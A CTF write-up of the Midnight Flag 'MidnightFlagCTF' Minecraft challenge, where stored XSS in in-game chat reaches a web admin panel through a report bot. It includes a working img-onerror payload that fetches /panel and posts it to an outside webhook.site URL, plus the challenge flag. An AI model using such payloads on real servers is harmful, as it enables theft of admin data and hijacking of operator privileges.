Category
Misc
Chall Author
BIEN_SUR
Stats
Total Solves: 8/600 Teams
Final Points: 484p
Description
A new minecraft server has opened its gates and appears to be connected to a showcase website. Compromise it to discover what was meant to stay hidden. Deployment : http://deploy.midnightflag.fr.
For your information, when you launch the challenge, 3 ports will be available: "py-mctf" port is the showcase website. "mc-mctf" contains two ports. First one is the Minecraft server. Second one will be prompted to you when reaching the website.
Preface
This was probably our favourite chall of the ctf. Why, you may ask. Well simply because of the nostalgia playing minecraft again and to call it "productive" simply because it's part of a ctf.
The chall is made up by two parts, the minecraft part and the more ctfy web part. Let's dive in!
Joining the Minecraft Server
Joining the minecraft server we were greeted with this amazing spawn build:
Playing around with the commands and looking around we found that the server used a custom plugin called "MidnightFlagCTF".
It had 2 commands, /flag and /discord. The relevant one of course being /flag which required operator to execute.
Now we have a goal, making ourselves operator and getting the flag!
GOAL: Becoming operator!
Looking at the website
Looking at the website it's a well designed frontend (props to chall author) with 2 key functionalities. The login page and also the minecraft chat. The minecraft server chat is connected through a websocket and shown on the website.
There is also some javascript on the page regarding the "Report abusive behaviour" button:
document.getElementById('send-report-btn').addEventListener('click', async () => {
const responseDiv = document.getElementById('report-response');
const button = document.getElementById('send-report-btn');
button.disabled = true;
button.classList.remove('bg-green-500', 'hover:bg-green-700');
button.classList.add('bg-red-500', 'hover:bg-red-600', 'cursor-not-allowed');
responseDiv.textContent = 'Report is being sent...';
try {
const response = await fetch('/report', { method: 'GET' });
if (response.status === 429) {
responseDiv.textContent = "You have reached the limit of reports. Please wait a few minutes and try again.";
responseDiv.classList.add('text-red-500');
return;
}
if (!response.ok) {
throw new Error(`HTTP Error : ${response.status}`);
}
const data = await response.json();
responseDiv.textContent = data.report;
responseDiv.classList.remove('text-red-500');
responseDiv.classList.add('text-green-500');
} catch (error) {
console.error('Error when trying to send the report:', error);
responseDiv.textContent = 'We are sorry; the report could not be sent. Please retry.';
responseDiv.classList.add('text-red-500');
}
setTimeout(() => {
button.disabled = false;
button.classList.remove('bg-red-500', 'hover:bg-red-600', 'cursor-not-allowed');
button.classList.add('bg-green-500', 'hover:bg-green-700');
}, 5000);
});
This is interesting, it bascially gets the 5 latest chat messages and sends it to a bot that presumably "looks" at them. This is giving a lot of nostalgia to past web challs containing an admin bot.
Our first instinct is to try to see if we can insert any html/js into the website. Thus we try some simple XSS payloads through the minecraft chat:
This one didn't work... Buuuuut:
This one did :)
THIS IS HUGE! We basically have a working XSS exploit now. Our guess was that the login page has a terminal that we can access to for example /op ourselves. This guess is primarily based of our past experiences with minecraft server hosts.
Abusing XSS
Now that we have this XSS exploit we can see how to actually exploit it. Turns out, the report button hits the /panel page using the bot. Probably Playwright in Python, judging by the mctf-py ID from the deploy page. Anyway as I previously mentioned our idea was to probably find a terminal in the panel tab of the site.
So the best way to find the functions is just to dump the whole html of the panel site using the bot. We did this using this payload:
Then by clicking the button we checked our webhook...
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Panel - Minecraft Server</title>
<link rel="stylesheet" type="text/css" href="/static/css/panel.css">
<script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js" defer=""></script>
</head>
<body>
<div class="flex">
<div class="sidebar">
<h1 class="sidebar-title">Midnight Craft</h1>
<nav class="mt-5">
<a href="#" class="nav-link active">Console</a>
<a href="/" class="nav-link">Home</a>
</nav>
</div>
<div class="main-content">
<h2 class="console-header">Console</h2>
<div id="chatBox" class="chat-box">
<p class="log-text">[2025-04-16 00:29:36] <strong>syudou</strong> : <img onerror="window.setInterval(function(){fetch('/panel').then(data => data.text()).then(data => fetch('https://webhook.site/6628b753-adf9-4522-bd4a-593ca1ad70cc',{method:'POST',body:data}))}, 5000)" src="x"></p>
</div>
<div class="mt-3 flex">
<input type="text" id="cmd" class="input-field" placeholder="Send a command..." x-model="command">
<button id="cmd_btn" class="send-button" type="submit">Envoyer</button>
</div>
<div id="commandResponse" class="command-response"></div>
</div>
</div>
<script>
const chatBox = document.getElementById('chatBox');
chatBox.scrollTop = chatBox.scrollHeight;
</script></body>
</html>
BINGO!
Getting Operator
Looking at the panel's html and js we can clearly see that this is a minecraft console/terminal. This means that our theory was right!
The only thing left now was to abuse this newfound power to make the bot /op us and that's exactly what we did using this payload:
Final Payload
Flag
MCTF{209eea248a86815d157c618dd8ef0f14}
Afterwords
I would firstly like to praise the chall author BIEN_SUR for this amazing challenge! There are plenty of XSS challs but this one made it extremely fun!
From having years and years of experience playing and developing minecraft servers I could see this actually being used in real life scenarios due to the amount of servers using real-time chats.
So once again thank you BIEN_SUR for this exciting challenge and your hard work especially with the builds lmao.